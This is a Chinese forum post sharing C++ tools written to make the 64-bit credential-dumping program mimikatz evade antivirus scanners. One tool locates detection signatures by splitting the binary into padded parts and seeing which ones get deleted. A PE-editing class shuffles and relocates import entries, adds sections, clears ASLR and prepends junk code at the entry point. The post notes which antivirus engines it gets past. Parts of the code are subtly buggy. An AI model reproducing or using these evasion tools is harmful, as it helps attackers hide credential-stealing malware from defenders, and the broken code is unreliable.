好友
阅读权限 20
听众
最后登录 1970-1-1
前两周有人托我免杀mimikatz(64位)。自己写了个特征码定位器和PE文件操作。发出来共享下吧。
特征码定位(自己写怕网上有后门,而且还不用学怎么操作那些软件):
MAX_CODE_LENGTH 这个东西定义最大特征码长度,稍微优化了下,不会出现特征码被从中间中断的情况。
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<vector>
using namespace std;
#define DEVIDE 5 //每个文件分成5个部分
#define OVERLAY 50
struct CCLPART{ //包含特征码文件的每一部分
char szFileName[30];
DWORD dwByteReserved; //前dwByteReserved个字符被保留,后面的填充
PVOID pData;
DWORD dwDataSize;
bool isKilled(){ //用于检测当前部分是否被查杀
bool bKilled=false;
FILE *f=fopen(szFileName,"r");
if (f==NULL)bKilled=true;
fclose(f);
DeleteFile(szFileName);
return bKilled;
}
void Work(PVOID data,DWORD bytesreserved,DWORD datasize){ //将大小为datasize的文件data
pData=data;
dwByteReserved=min(bytesreserved,datasize);
dwDataSize=datasize;
sprintf(szFileName,"Part_%08x.exe",dwByteReserved);
FILE *f=fopen(szFileName,"wb+");
fwrite(pData,1,dwByteReserved,f);
char p[2];p[0]=0x61;p[1]=0x60;
for (int i=bytesreserved;i<dwDataSize;i++)
fwrite(p+(i&1),1,1,f);
fclose(f);
}
};
#define FILE_NOT_FOUND -1
#define MAX_CODE_LENGTH 15
#define PART 8
class CCL{
private:
char m_szFileName[260];
FILE *m_File;
PVOID m_Data;
int getFileSize(){
fseek(m_File,0,SEEK_END);
return ftell(m_File);
}
public:
int Load(char *szFileName){
strcpy(m_szFileName,szFileName);
if ((m_File=fopen(m_szFileName,"rb"))==NULL)return FILE_NOT_FOUND;
int nFileSize=getFileSize();
printf("[*]文件载入成功 :%s\n",m_szFileName);
m_Data=malloc(nFileSize);
fseek(m_File,0,SEEK_SET);
int nRead=fread(m_Data,1,nFileSize,m_File);
if (!SetCurrentDirectory("C:\\Users\\thinkt\\Desktop\\免杀\\")){printf("cd error!\n");return 0;}
int curPosStart=0; //特征码所在区间的左边界和大小
int curSize=nFileSize;
int part=PART;
vector<CCLPART> State;
int Round=1;
while (curSize>=MAX_CODE_LENGTH*2){
printf(" [*]Round %d\n",Round++);
printf(" [-]分块大小 %d\n",curSize);
printf(" [-]特征码区间[%x,%x]\n",curPosStart,curPosStart+curSize-1);
int nEachPart=curSize/part+(curSize%part>0);
for (int i=1;i<=part;i++){
CCLPART cclpart;
cclpart.Work(m_Data,curPosStart+nEachPart*i,nFileSize);
State.push_back(cclpart);
}
system("pause");
int newPos=curPosStart;
for (int i=0;i<State.size();i++){
if (!State[i].isKilled()){
newPos+=nEachPart;
}
else{
break;
}
}
//printf("eachPart=%d newPos=%x\n",nEachPart,newPos);
curSize=nEachPart;
curSize+=min(MAX_CODE_LENGTH,newPos-curPosStart);
newPos=max(curPosStart,newPos-MAX_CODE_LENGTH); //回退MAX_CODE_LENGTH个字节,且保证区间不可能比原区间更大
curPosStart=newPos;
State.clear();
printf(" [-]Round %d Finished\n",Round-1);
}
printf(" [*]枚举特征码终点\n");
printf(" [-]当前等待确定区间大小 %d\n",curSize);
printf(" [-]特征码区间[%x,%x]\n",curPosStart,curPosStart+curSize-1);
for (int i=1;i<=curSize;i++){
CCLPART cclpart;
cclpart.Work(m_Data,curPosStart+i,nFileSize);
State.push_back(cclpart);
}
system("pause");
int CCEnd=curPosStart;
for (int i=0;i<State.size();i++){
if (!State[i].isKilled())
CCEnd++;
else{
break;
}
}
printf(" [*]定位到特征码终点[%08x]\n",CCEnd);
return 0;
}
};
CCL ccl;
int main(int argc,char** argv){
//if (argc<0)return;
SetCurrentDirectory("E:\\CrackMe\\mimikatz_trunk\\x64\\");
if (ccl.Load("mimikatz_0x8.exe")!=0)
printf("Error");
return 0;
}
64位 PE文件操作类(基本都是输入表操作,还没写完,写发出来吧):
一些功能:移动输入表DLL和函数字符串位置,打乱输入表函数顺序,在输入表中插入一个函数。在入口处添加花指令。
接下来会更新下:比如重建输入表,只保留getProcAddress和loadLibrary两个,其他在入口处重建输入表。
反正想到什么更新什么。
发现NOD32输入表查杀太厉害了。其他稍微变形下就过了。
#include<stdio.h>
#include<stdlib.h>
#include<algorithm>
#include<string.h>
#include<windows.h>
#include<stdlib.h>
#include<vector>
using namespace std;
//错误信息
#define UNABLE_OPEN_FILE -1
#define FREAD_ERROR -2
#define IS_NOT_PE_64 -3
#define OUT_OF_PE_RANGE -4
/*
类CPE64:
说明:
(1)整个PE文件全部读入m_pData;
(2)所有PE文件成分(如NT Header,DOS Header)的指针都指向m_pData空间;
(3)成员变量原则上指向的都是Raw偏移/m_pData指针(方便直接操作文件),而非RVA;
(4)RVA和RAW以DWORD保存,VA以QWORD保存
*/
/*
不同于PE32:
1、PIMAGE_NT_HEADERS64
*/
typedef struct _IID_FUN_INFO64{ //导入函数信息rva地址
DWORD INTAddr; //导入函数的INT项RVA地址(IMAGE_THUNK_DATA64)
DWORD IATAddr; //导入函数的IAT项RVA地址(IMAGE_THUNK_DATA64)
DWORD NAMEAddr; //导入函数Hint和名称RVA (IMAGE_IMPORT_BY_NAME)
vector<DWORD> CALLAddr; //引用(call,jmp)该函数的RVA地址集合
}IID_FUN_INFO64,*PIID_FUN_INFO64;
class CMEMALLOC{ //文件中的0x00空白区域存放在此。存放FOA和其大小。
private:
vector< pair<DWORD,DWORD> > vMem; //First为FOA,Seconf为Size
public:
int Add(DWORD dwStart,DWORD dwSize){
vMem.push_back(make_pair(dwStart,dwSize));
return 0;
}
int Alloc(DWORD dwSize){ //分配内存,成功返回FOA,失败exit(0)
for (int i=0;i<vMem.size();i++)
if (vMem[i].second>dwSize){
vMem[i].first+=dwSize;
vMem[i].second-=dwSize;
return vMem[i].first-dwSize;
}
exit(-1);
}
};
class CPE64{
private:
DWORD m_dwFileSize;
PBYTE m_pData; //保存整个文件
//PE文件结构成员(指针均指向m_pData的这部分空间)
PIMAGE_DOS_HEADER m_pIDH;
PIMAGE_NT_HEADERS64 m_pINH;
DWORD m_dwSections; //区块个数
PIMAGE_SECTION_HEADER m_pISH[32];
DWORD m_dwIIDs; //导入表DLL数目
PIMAGE_IMPORT_DESCRIPTOR m_pIID[64];
CMEMALLOC m_ZeroMem;
int InitMemValue(); //初始化以上结构体、成员
int Unload(); //初始化
BOOL IsPE64();
//地址转换
PBYTE FOA2PBYTE(DWORD dwOffset); //[PE文件偏移DWORD] -> [m_pData中的数据指针PBYTE]
DWORD PBYTE2FOA(PBYTE pByte); //[PE文件偏移DWORD] <- [m_pData中的数据指针PBYTE]
DWORD FOA2RVA(DWORD dwRaw); //[PE文件偏移DWORD] -> [RVA]
DWORD RVA2FOA(DWORD dwRVA); //[PE文件偏移DWORD] <- [RVA]
DWORD RVA2FOA(ULONG64 u64RVA); //IMAGE_THUNK_DATA64 中的RVA为64位。直接当成32位处理
#define RVA2PBYTE(rva) (FOA2PBYTE(RVA2FOA(rva)))
#define PBYTE2RVA(pb) (FOA2RVA(PBYTE2FOA(pb)))
int UnsetASLR();
//导入表操作
int IIDGetFunInfo (PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD dwFunIdx,PIID_FUN_INFO64 pIFunInfo); //获取导入函数信息(IID_FUN_INFO64)
DWORD IIDFunCount(PIMAGE_IMPORT_DESCRIPTOR pIID); //返回IID函数个数
int IIDSwapFuns (PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD id,DWORD id2); //交换DLL中两个导入函数位置
//搜索
int Find(PBYTE pSeq,DWORD dwSz,vector<DWORD>&pos); //搜索文件中的二进制序列。返回FOA数组
public:
CPE64();
~CPE64();
int Load(char *szFileName); //正确载入文件:返回0
int Save(char *szFileName);
//导入函数操作
PIMAGE_IMPORT_DESCRIPTOR GetIID(DWORD dwIdx);
PIMAGE_IMPORT_DESCRIPTOR GetIID(char *szDllName); //通过DLL名获取其对应的PIMAGE_IMPORT_DESCRIPTOR
int IIDNameStrMove(char *szDLLName); //移动IID结构体中Name指向的DLL字符串。移动到区块末尾的0填充区域。
int IIDDisplay(); //显示所有导入DLL
int IIDFunDisplay (char *szDllName); //显示某个导入表信息
int IIDFunRemove (char *szDLLName,char*szFunName); //在导入表中删除粗函数
int IIDFunInsert (char *szDLLName,char* szFunName); //在导入表中添加函数
int IIDFunReverse (char* szDLLName); //导入DLL(pIID)中的函数随机改变
//导出表
int IEDDisplay();
//花指令
int AddJunkCodeAtEntry(PBYTE pCode,DWORD dwSize);
//区块
int DisplaySecs();
int AddSection(char *szName,DWORD dwSize,DWORD dwAttrib); //添加一个空区块,并放入m_ZeroMem。属性值默认为Read|Write|Executable(0xE0000020)
};
CPE64::CPE64(){
m_dwFileSize=0;
m_pData=NULL;
}
CPE64::~CPE64(){
Unload();
}
int CPE64::InitMemValue(){
//PE结构指针赋值
m_pIDH=(PIMAGE_DOS_HEADER)FOA2PBYTE(0);
m_pINH=(PIMAGE_NT_HEADERS64)FOA2PBYTE(m_pIDH->e_lfanew);
if (!IsPE64())return IS_NOT_PE_64;
//区块赋值
m_dwSections=m_pINH->FileHeader.NumberOfSections;
DWORD dwSecOff=sizeof(IMAGE_NT_HEADERS64)+PBYTE2FOA((PBYTE)m_pINH);
for (int iSec=0;iSec<m_dwSections;iSec++){
m_pISH[iSec]=(PIMAGE_SECTION_HEADER)FOA2PBYTE(dwSecOff);
dwSecOff+=sizeof(IMAGE_SECTION_HEADER);
}
//导入表指针赋值
DWORD dwIIDOff=RVA2FOA(m_pINH->OptionalHeader.DataDirectory[1].VirtualAddress);
m_dwIIDs=0;
while (1){
m_pIID[m_dwIIDs]=(PIMAGE_IMPORT_DESCRIPTOR)FOA2PBYTE(dwIIDOff);
if (m_pIID[m_dwIIDs]->FirstThunk==0&&m_pIID[m_dwIIDs]->OriginalFirstThunk==0) break;
m_dwIIDs++;
dwIIDOff+=sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
//提取空白区域
for(int i=0;i<m_dwSections;i++){
int dwSize;
PBYTE pStart;
dwSize=0;
pStart=FOA2PBYTE(m_pISH[i]->PointerToRawData+m_pISH[i]->SizeOfRawData-1);
while (*pStart==0x00){
pStart--;
dwSize++;
}
int dwStart=PBYTE2FOA(pStart+1);
dwSize-=0x20;dwStart+=0x20;
dwSize+=dwStart&0x0f;dwStart&=~0x0f;
if (dwSize>=0x20) m_ZeroMem.Add(dwStart,dwSize);
}
return 0;
}
int CPE64::Unload(){
if (m_dwFileSize==0)return 0;
m_dwFileSize=0;
free(m_pData);
return 0;
}
int CPE64::UnsetASLR(){ //清除IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE(0x40)标记
WORD *wFlag=(WORD*)(&(m_pINH->OptionalHeader.DllCharacteristics));
*wFlag&=~0x0040;
return 0;
}
PBYTE CPE64::FOA2PBYTE(DWORD dwOffset){
if (dwOffset>=m_dwFileSize)exit(OUT_OF_PE_RANGE);
return m_pData+dwOffset;
}
DWORD CPE64::PBYTE2FOA(PBYTE pByte){
return (DWORD)(pByte-m_pData);
}
BOOL CPE64::IsPE64(){
return m_pIDH->e_magic==0x5A4D && m_pINH->OptionalHeader.Magic==0x020B;
}
#define INRANGE(x,start,size) (((x)>=(start))&&((x)<((start)+(size)))) //当x在区间[start,start+size)内
DWORD CPE64::FOA2RVA(DWORD dwRaw){
for (int i=0;i<m_dwSections;i++){
if (INRANGE(dwRaw,m_pISH[i]->PointerToRawData,m_pISH[i]->SizeOfRawData)){
return m_pISH[i]->VirtualAddress+dwRaw-m_pISH[i]->PointerToRawData;
}
}
return 0;
}
DWORD CPE64::RVA2FOA(DWORD dwRVA){
//枚举节区,检查rva处于哪个节区。
for (int i=0;i<m_dwSections;i++){
if (dwRVA>=m_pISH[i]->VirtualAddress && dwRVA-m_pISH[i]->VirtualAddress < m_pISH[i]->SizeOfRawData){
int PointerToRawData=m_pISH[i]->PointerToRawData/0x200*0x200;
return dwRVA-m_pISH[i]->VirtualAddress+PointerToRawData;
}
}
return 0;
}
DWORD CPE64::RVA2FOA(ULONG64 u64RVA){
return RVA2FOA((DWORD)u64RVA);
}
DWORD CPE64::IIDFunCount(PIMAGE_IMPORT_DESCRIPTOR pIID){
PIMAGE_THUNK_DATA64 p=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
DWORD dwCount=0;
while (p->u1.AddressOfData!=0){p++;dwCount++;}
return dwCount;
}
PIMAGE_IMPORT_DESCRIPTOR CPE64::GetIID(DWORD dwIdx){
if (dwIdx>=m_dwIIDs)return NULL;
return m_pIID[dwIdx];
}
PIMAGE_IMPORT_DESCRIPTOR CPE64::GetIID(char *szDllName){
for (int i=0;i<m_dwIIDs;i++){
PIMAGE_IMPORT_DESCRIPTOR pIID=m_pIID[i];
char *szName=(char*)RVA2PBYTE(pIID->Name);
//比较DLL名称(转为小写字母)
bool bSame=true;
for (int j=0;j<strlen(szDllName);j++)
if ((szName[j]|0x20)!=(szDllName[j]|0x20)){
bSame=false;
break;
}
if (bSame)return pIID;
}
return NULL;
}
int CPE64::IIDDisplay(){
for (int i=0;i<m_dwIIDs;i++){
printf("%s\n",RVA2PBYTE(m_pIID[i]->Name));
}
return 0;
}
int CPE64::IIDFunDisplay(char *szDLLName){
PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
if (pIID==NULL){
printf("[!]DLL %s Not Found!\n",szDLLName);
return -1;
}
printf("[*]%s\n",RVA2PBYTE(pIID->Name));
printf("[*]ImageImportDescriptor:\n");
printf(" [-]OriginalFirstThunk: 0x%08x\n",pIID->OriginalFirstThunk);
printf(" [-]Name: 0x%08x\n",pIID->Name);
printf(" [-]FirstThunk: 0x%08x\n\n",pIID->FirstThunk);
printf(" Index Hint API name\n"
" ----- ----- ---------------------------\n");
PIMAGE_THUNK_DATA64 pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
int Idx=0;
while (pINT->u1.AddressOfData!=0){
PIMAGE_IMPORT_BY_NAME pIIBN=(PIMAGE_IMPORT_BY_NAME)RVA2PBYTE(pINT->u1.AddressOfData);
printf(" [%03d] %04x \"%s\"\n",Idx++,pIIBN->Hint,pIIBN->Name);
pINT++;
}
return 0;
}
int CPE64::IIDGetFunInfo(PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD id,PIID_FUN_INFO64 pIFunInfo){
/*
64位中的call,jmp均有对应的32位相对寻址
*/
DWORD dwFunNum=IIDFunCount(pIID);
if (dwFunNum<=id)return -1;
PIMAGE_THUNK_DATA64 pINT;
PIMAGE_THUNK_DATA64 pIAT;
//填充函数结构体
pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
pIAT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->FirstThunk);
ULONG64 base=m_pINH->OptionalHeader.ImageBase;
BYTE pSeq[16];
//填充函数1结构体
pIFunInfo->INTAddr=PBYTE2RVA((PBYTE)(pINT+id));
pIFunInfo->IATAddr=PBYTE2RVA((PBYTE)(pIAT+id));
for (DWORD foa=0;foa<m_dwFileSize-6;foa++){
bool yes=false;
if (m_pData[foa]==0xff&&m_pData[foa+1]==0x25)yes=true; //jmp [32]指令
if (m_pData[foa]==0xff&&m_pData[foa+1]==0x15)yes=true; //call[32]指令
if(yes){
//64位的jmp(0xff,0x25)和call(0xff,0x15)指令为相对寻址。
DWORD offset=*(DWORD*)FOA2PBYTE(foa+2);
DWORD rva=FOA2RVA(foa)+6+offset;
if (rva==pIFunInfo->IATAddr)
pIFunInfo->CALLAddr.push_back(FOA2RVA(foa));
}
}
pIFunInfo->NAMEAddr=*((DWORD*)RVA2PBYTE(pIFunInfo->INTAddr));
return 0;
}
int CPE64::Load(char *szFileName){
//读取整个文件存入pData
Unload();
FILE *f=fopen(szFileName,"rb");
if (f==NULL)return UNABLE_OPEN_FILE;
fseek(f,0,SEEK_END);
m_dwFileSize=ftell(f); //文件大小
m_pData=(PBYTE)malloc(m_dwFileSize);
fseek(f,0,SEEK_SET);
if (fread((PVOID)m_pData,1,m_dwFileSize,f)!=m_dwFileSize)return FREAD_ERROR;
fclose(f);
return InitMemValue();
}
int CPE64::Find(PBYTE pSeq,DWORD dwSz,vector<DWORD>&pos){
//KMP匹配
int *fail=(int*)malloc(dwSz);
fail[0]=0;
int j=0;
for (int i=1;i<dwSz;i++){
while(j&&pSeq[i]!=pSeq[j])j=fail[j-1];
if (pSeq[i]==pSeq[j])j++;
fail[i]=j;
}
j=0;
for(int i=0;i<m_dwFileSize;i++){
while (j&&m_pData[i]!=pSeq[j])j=fail[j-1];
if (m_pData[i]==pSeq[j])j++;
if (j==dwSz){
pos.push_back(i-dwSz+1);
j=fail[j-1];
}
}
free(fail);
return 0;
}
int CPE64::IIDSwapFuns(PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD id,DWORD id2){
/*按照调用以以下顺序API编写:(64位下,call jmp都有32位相对寻址)
如调用_amsg_exit函数:
(1)000000014006A86E: call 0x00004a4d; //64位下为相对寻址
000000014006A873: [other Instruction]
... //(注:000000014006A873+4a4d=0x14006f2c0)
(2)0x14006f2c0 JMP [0x000039a2] //机器码:FF 25 A2 39 00 00
0x14006f2c6 [other Instruction]
... //(注:0x14006f2c0+39a2=0x140072c68)
(3)[0x140072c68]=00007FF8F7BBA4E0(函数入口地址)//(PE装载器写入Original Thunk的真实地址)
*/
IID_FUN_INFO64 fun;
IID_FUN_INFO64 fun2;
if (IIDGetFunInfo(pIID,id,&fun))return -1;
if (IIDGetFunInfo(pIID,id2,&fun2))return -1;
DWORD *dwTmp;
dwTmp=(DWORD*)RVA2PBYTE(fun.INTAddr);*dwTmp=fun2.NAMEAddr;
dwTmp=(DWORD*)RVA2PBYTE(fun.IATAddr);*dwTmp=fun2.NAMEAddr;
for (int idCall=0;idCall<fun.CALLAddr.size();idCall++){
dwTmp=(DWORD*)RVA2PBYTE(fun.CALLAddr[idCall]+2); //两个字节指令码
*dwTmp=fun2.IATAddr-fun.CALLAddr[idCall]-6;
}
dwTmp=(DWORD*)RVA2PBYTE(fun2.INTAddr);*dwTmp=fun.NAMEAddr;
dwTmp=(DWORD*)RVA2PBYTE(fun2.IATAddr);*dwTmp=fun.NAMEAddr;
for (int idCall=0;idCall<fun2.CALLAddr.size();idCall++){
dwTmp=(DWORD*)RVA2PBYTE(fun2.CALLAddr[idCall]+2);
*dwTmp=fun.IATAddr-fun2.CALLAddr[idCall]-6;
}
return 0;
}
int CPE64::IIDFunRemove(char*szDLLName,char*szFunName){
/* 思路:向下冒泡交换,到最后时直接删除*/
PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
DWORD dwFunNum=IIDFunCount(pIID);
/*if (dwFunNum<=id) return -1;
for (int curId=id;curId<dwFunNum-1;curId++){
IIDSwapFuns(pIID,curId,curId+1);
}
PIMAGE_THUNK_DATA64 pIAT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
PIMAGE_THUNK_DATA64 pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->FirstThunk);
(pINT+dwFunNum-1)->u1.AddressOfData=0;
(pIAT+dwFunNum-1)->u1.AddressOfData=0;*/
return 0;
}
int CPE64::Save(char *szFileName){
FILE *f=fopen(szFileName,"wb+");
if (f==NULL)return -1;
fwrite(m_pData,1,m_dwFileSize,f);
fclose(f);
return 0;
}
int CPE64::IIDNameStrMove(char* szDLLName){ //移动dll字符串到dwFOA。
PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
if (pIID==NULL)return -1;
PBYTE pOld=RVA2PBYTE(pIID->Name);
DWORD dwFOA;
if ((dwFOA=m_ZeroMem.Alloc(strlen((const char*)pOld)+1))==0)return -1;
PBYTE pNew=FOA2PBYTE(dwFOA);
strcpy((char*)pNew,(char*)pOld);
memset(pOld,0,strlen((const char*)pOld));
pIID->Name=FOA2RVA(dwFOA);
//printf("[%s] From FOA %x to FOA %x\n",pNew,PBYTE2FOA(pOld),PBYTE2FOA(pNew));
return 0;
}
int CPE64::IIDFunReverse(char *szDLLName){
PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);//m_pIID[dwIdx];
if (pIID==NULL)return -1;
UnsetASLR();
int cntFun=IIDFunCount(pIID);
for (int i=0;i<cntFun/2;i++) IIDSwapFuns(pIID,i,cntFun-1-i);
return 0;
}
int CPE64::IIDFunInsert(char *szDLLName,char*szFunName){
PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
if (pIID==NULL)return -1;
PIMAGE_THUNK_DATA64 pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
PIMAGE_THUNK_DATA64 pIAT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->FirstThunk);
int nNum=IIDFunCount(pIID);
pINT+=nNum;
pIAT+=nNum;
if ((pINT+1)->u1.AddressOfData!=NULL||(pIAT+1)->u1.AddressOfData!=NULL){
printf("[IIDFunInsert] Not Enough Space In FOA[%x or %x]!\n",PBYTE2FOA((PBYTE)pINT),PBYTE2FOA((PBYTE)pIAT));
return -1;
}
//写入函数名字符串
DWORD foa=m_ZeroMem.Alloc(strlen(szFunName)+1);
DWORD rva=FOA2RVA(foa);
memcpy(RVA2PBYTE(rva),szDLLName,strlen(szFunName));
pINT->u1.AddressOfData=rva;
pIAT->u1.AddressOfData=rva;
return 0;
}
int CPE64::AddJunkCodeAtEntry(PBYTE pCode=NULL,DWORD dwSize=0){
UnsetASLR();
if (pCode==NULL){
dwSize=30;
pCode=(PBYTE)malloc(dwSize);
pCode[0]=0x55; //push rbp
pCode[1]=0x48;pCode[2]=0x89;pCode[3]=0xe5; //mov rbp,rsp
pCode[4]=0xeb;pCode[5]=0x02; //jmp [跳过两个字节]
pCode[6]=0xff;pCode[7]=0x15; //无用代码,CALL指令的前缀
pCode[8]=0x48;pCode[9]=0x8b;pCode[10]=0x2c;pCode[11]=0x24; //mov rbp,[rsp]
pCode[12]=0x50; //push rax
//mov rax,[old Entry]
pCode[13]=0x48;pCode[14]=0xb8;
*(ULONG64*)(pCode+15)=m_pINH->OptionalHeader.AddressOfEntryPoint+m_pINH->OptionalHeader.ImageBase;
pCode[23]=0x48;pCode[24]=0x89;
pCode[25]=0x44;pCode[26]=0x24;pCode[27]=0x08; //mov [rsp+8],rax
pCode[28]=0x58; //pop rax
pCode[29]=0xc3; //ret
}
//写入文件
PBYTE pZeroMem=FOA2PBYTE(m_ZeroMem.Alloc(dwSize));
DWORD dwNewEntry=PBYTE2RVA(pZeroMem);
memcpy(pZeroMem,pCode,dwSize);
free(pCode);
//修改入口点
m_pINH->OptionalHeader.AddressOfEntryPoint=dwNewEntry;
return 0;
}
int CPE64::DisplaySecs(){
printf(" Name VOffset VSize ROffset RSize Flags \n"
"-------- -------- -------- -------- -------- --------\n");
DWORD dwNum=m_pINH->FileHeader.NumberOfSections;
for (int i=0;i<dwNum;i++){
PIMAGE_SECTION_HEADER pISH=m_pISH[i];
printf("%8s %08x %08x %08x %08x %08x\n",pISH->Name,pISH->VirtualAddress,
pISH->Misc.VirtualSize,pISH->PointerToRawData,pISH->SizeOfRawData,pISH->Characteristics);
}
return 0;
}
#define GETCEIL(val,align) (((val)&(align-1))?(val)-((val)&(align-1))+(align):(val)) //以align对齐,上取整
int CPE64::AddSection(char *szName,DWORD dwSize,DWORD dwAttrib=0xc0000020){
/* 属性值:
读: IMAGE_SCN_MEM_READ (0x40000000)
写: IMAGE_SCN_MEM_WRITE (0x80000000)
执行:IMAGE_SCN_CNT_CODE (0x00000020)
*/
dwSize=GETCEIL(dwSize,0x200);
//重新申请更大的空间,并初始化m_pData与PE各结构体
PBYTE pNewData=(PBYTE)malloc(m_dwFileSize+dwSize);
memcpy(pNewData,m_pData,m_dwFileSize);
memset(pNewData+m_dwFileSize,0,sizeof(dwSize));
free(m_pData);
m_dwFileSize+=dwSize;
m_pData=pNewData;
InitMemValue();
//直接添加在区块后面(不判断是否有足够空间!)
PIMAGE_SECTION_HEADER pISHPrev;
PIMAGE_SECTION_HEADER pISH;
pISHPrev =m_pISH[m_pINH->FileHeader.NumberOfSections-1];
pISH =(PIMAGE_SECTION_HEADER)((PBYTE)pISHPrev+sizeof(IMAGE_SECTION_HEADER));
m_pISH[m_pINH->FileHeader.NumberOfSections]=pISH;
//区块结构体成员赋值
memcpy(pISH,szName,strlen(szName));
pISH->VirtualAddress =GETCEIL(pISHPrev->VirtualAddress+pISHPrev->Misc.VirtualSize,0x1000);
pISH->Misc.VirtualSize =dwSize;
pISH->PointerToRawData =m_dwFileSize-dwSize;
pISH->SizeOfRawData =dwSize;
pISH->Characteristics =dwAttrib;
m_pINH->FileHeader.NumberOfSections++;
m_pINH->OptionalHeader.SizeOfImage+=pISH->Misc.VirtualSize;
return 0;
}
int CPE64::IEDDisplay(){
if (m_pINH->OptionalHeader.DataDirectory[0].VirtualAddress==NULL){
printf("Export Table Don't Exist!\n");
return 0;
}
PIMAGE_EXPORT_DIRECTORY pIED=(PIMAGE_EXPORT_DIRECTORY)RVA2PBYTE(m_pINH->OptionalHeader.DataDirectory[0].VirtualAddress);
printf("[Module Name] %s\n",RVA2PBYTE(pIED->Name));
printf(" Ordinal RVA Symbol Name\n"
" ------- ---------- ----------------------------------\n");
DWORD NameNum=pIED->NumberOfNames;
DWORD *pNameAddr=(DWORD*)RVA2PBYTE(pIED->AddressOfNames);
WORD *pNameOrdinals=(WORD*)RVA2PBYTE(pIED->AddressOfNameOrdinals);
for (int i=0;i<NameNum;i++){
printf(" 0x%04x 0x%08x %s \n",*pNameOrdinals,*pNameAddr,(char*)RVA2PBYTE(*pNameAddr));
pNameAddr++;
pNameOrdinals++;
}
return 0;
}
CPE64 pe64;
int main(){
SetCurrentDirectory("E:\\CrackMe\\mimikatz_trunk\\");
int n=pe64.Load("mimikatz.exe");
if (n!=0)return -2;
char *dll="msvcrt.dll";
pe64.DisplaySecs();
pe64.AddSection(".MySec",0x198,0xE0000020);
pe64.DisplaySecs();
pe64.IIDFunDisplay(dll);
pe64.IIDFunInsert (dll,"myfun");
//pe64.IIDFunDisplay(dll);
if(pe64.Save("modify.exe")==0)printf("save Success!\n");
//system("modify.exe");
return 0;
}